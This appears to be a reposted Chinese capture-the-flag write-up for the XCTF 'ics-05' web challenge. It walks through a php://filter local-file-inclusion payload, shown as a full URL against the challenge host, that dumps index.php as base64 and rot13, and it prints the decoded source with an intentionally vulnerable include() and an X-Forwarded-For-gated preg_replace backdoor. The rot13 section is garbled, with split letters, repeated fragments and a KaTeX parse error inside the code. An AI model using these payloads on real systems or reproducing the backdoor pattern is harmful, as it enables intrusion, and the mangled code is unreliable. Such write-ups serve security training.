XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)相关的知识,希望对你有一定的参考价值。
查看题目:
提示:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统,可能和后门程序有关,位置在工控云管理系统的设备维护中心
打开题目地址:
查看页面源代码:
只有设备维护中心的链接点击会跳转到index.php:
显示:数据接口请求异常
再查看index.php的源代码:
在云平台设备维护中心处有一个链接?page=index
点击之后:
它以GET方式提交page变量的值为index,后端index.php处理之后返回index。
传入page=123456,返回123456
所以我们需要构造传入的参数,来读取index.php的代码。
通过变量传参,有可能存在文件包含漏洞读取源码,php搭建的网站则使用php伪协议读取源码:
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,也可以进行任意文件的读取,具有resource(要过滤的数据流)、read(读链筛选的数据流)、write(写链筛选的数据流)等等参数。
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
php://filter 参数 | |
---|---|
名称 | 描述 |
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符( |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符( |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
php://filter常用于:
1、利用base64获得源码
2、通过读写编码实行绕过操作
构造传入page的参数:
php://filter/read=convert.base64-encode/resource=index.php
意思是用php://filter协议读取,用base64编码的方式read=convert.base64-encode,来读取index.php的代码resource=index.php。
访问:
http://111.200.241.244:62652/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
这时页面会显示出源文件index.php经过base64编码后的内容:
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZ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YWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=
经过Base64解码:
得到:
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="d.id" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" d.id==1 0003 ? 'checked' : '' >
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function()
var table = layui.table,
form = layui.form;
table.render(
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
type: 'numbers' ,
type: 'checkbox' ,
field: 'id', title: 'ID', width: 100, unresize: true, sort: true ,
field: 'name', title: '设备名', templet: '#nameTpl' ,
field: 'area', title: '区域' ,
field: 'status', title: '维护状态', minWidth: 120, sort: true ,
field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true
]
],
page: true
);
);
</script>
<script>
layui.use('element', function()
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem)
//console.log(elem)
layer.msg(elem.text());
);
);
</script>
<?php
$page = $_GET[page];
if (isset($page))
if (ctype_alnum($page))
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
else
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0)
die();
if (strpos($page, 'ta:text') > 0)
die();
if (strpos($page, 'text') > 0)
die();
if ($page === 'index.php')
die('Ok');
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject))
preg_replace($pattern, $replacement, $subject);
else
die();
?>
</body>
</html>
其他的加密方式也可以,如rot13:
http://111.200.241.244:62652/index.php?page=php://filter/read=string.rot13/resource=index.php
得到源文件index.php经过rot13编码后的内容:
设备维护中心 云平台设备维护中心 设备列表 ynlhv.hfr(‘gnoyr’, shapgvba() ine gnoyr =
ynlhv.gnoyr, sbez = ynlhv.sbez; gnoyr.eraqre( ryrz: ‘#grfg’, hey:
‘/fbzeguvat.wfba’, pryyZvaJvqgu: 80, pbyf: [ [ glcr: ‘ahzoref’ ,
glcr: ‘purpxobk’ , svryq: ‘vq’, gvgyr: ‘VQ’, jvqgu: 100, haerfvmr:
gehr, fbeg: gehr , svryq: ‘anzr’, gvgyr: ‘设备名’, grzcyrg: ‘#anzrGcy’
, svryq: ‘nern’, gvgyr: ‘区域’ , svryq: ‘fgnghf’, gvgyr: ‘维护状态’,
zvaJvqgu: 120, fbeg: gehr , svryq: ‘purpx’, gvgyr: ‘设备开关’, jvqgu:
85, grzcyrg: ‘#fjvgpuGcy’, haerfvmr: gehr ] ], cntr: gehr ); );
ynlhv.hfr(‘ryrzrag’, shapgvba() ine ryrzrag = ynlhv.ryrzrag;
//导航的ubire效果、二级菜单等功能,需要依赖ryrzrag模块 //监听导航点击 ryrzrag.ba(‘ani(qrzb)’,
shapgvba(ryrz) //pbafbyr.ybt(ryrz) ynlre.zft(ryrz.grkg()); ); );
0) qvr(); vs (fgecbf( c n t r , ′ g n : g r k g ′ ) > 0 ) q v r ( ) ; v s ( f g e c b f ( cntr, 'gn:grkg') > 0) qvr(); vs (fgecbf( cntr,′gn:grkg′)>0)qvr();vs(fgecbf(cntr, ‘grkg’) > 0) qvr(); vs ( c n t r = = = ′ v a q r k . c u c ′ ) q v r ( ′ B x ′ ) ; v a p y h q r ( cntr === 'vaqrk.cuc') qvr('Bx'); vapyhqr( cntr===′vaqrk.cuc′)qvr(′Bx′);vapyhqr(cntr); qvr(); ?> Jrypbzr Zl Nqzva ! "; $cnggrea
= $_TRG[cng]; $ercynprzrag = $_TRG[erc]; $fhowrpg = T R G [ f h o ] ; v s ( v f f r g ( _TRG[fho]; vs (vffrg( TRG[fho];vs(vffrg(cnggrea) && vffrg(KaTeX parse error: Expected 'EOF', got '&' at position 14: ercynprzrag) &̲& vffrg(fhowrpg))
cert_ercynpr($cnggrea, $ercynprzrag, $fhowrpg); ryfr qvr(); ?>
将上面的php代码rot13解码http://www.mxcz.net/tools/rot13.aspx:
得到:
layui.use(‘table’, function() var table = layui.table, form =
layui.form; table.render( elem: ‘#test’, url: ‘/somrthing.json’,
cellMinWidth: 80, cols: [ [ type: ‘numbers’ , type: ‘checkbox’ ,
field: ‘id’, title: ‘ID’, width: 100, unresize: true, sort: true ,
field: ‘name’, title: ‘设备名’, templet: ‘#nameTpl’ , field: ‘area’,
title: ‘区域’ , field: ‘status’, title: ‘维护状态’, minWidth: 120, sort:
true , field: ‘check’, title: ‘设备开关’, width: 85, templet:
‘#switchTpl’, unresize: true ] ], page: true ); );
layui.use(‘element’, function() var element = layui.element;
//导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on(‘nav(demo)’,
function(elem) //console.log(elem) layer.msg(elem.text()); ); );
0) die(); if (strpos( p a g e , ′ t a : t e x t ′ ) > 0 ) d i e ( ) ; i f ( s t r p o s ( page, 'ta:text') > 0) die(); if (strpos( page,′ta:text′)>0)die();if(strpos(page, ‘text’) > 0) die(); if ( p a g e = = = ′ i n d e x . p h p ′ ) d i e ( ′ O k ′ ) ; i n c l u d e ( page === 'index.php') die('Ok'); include( page===′index.php′)die(′Ok′);include(page); die(); ?> Welcome My Admin ! "; $pattern
= $_GET[pat]; $replacement = $_GET[rep]; $subjec以上是关于XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——1baby_web
XCTF-攻防世界CTF平台-Web类——14supersqli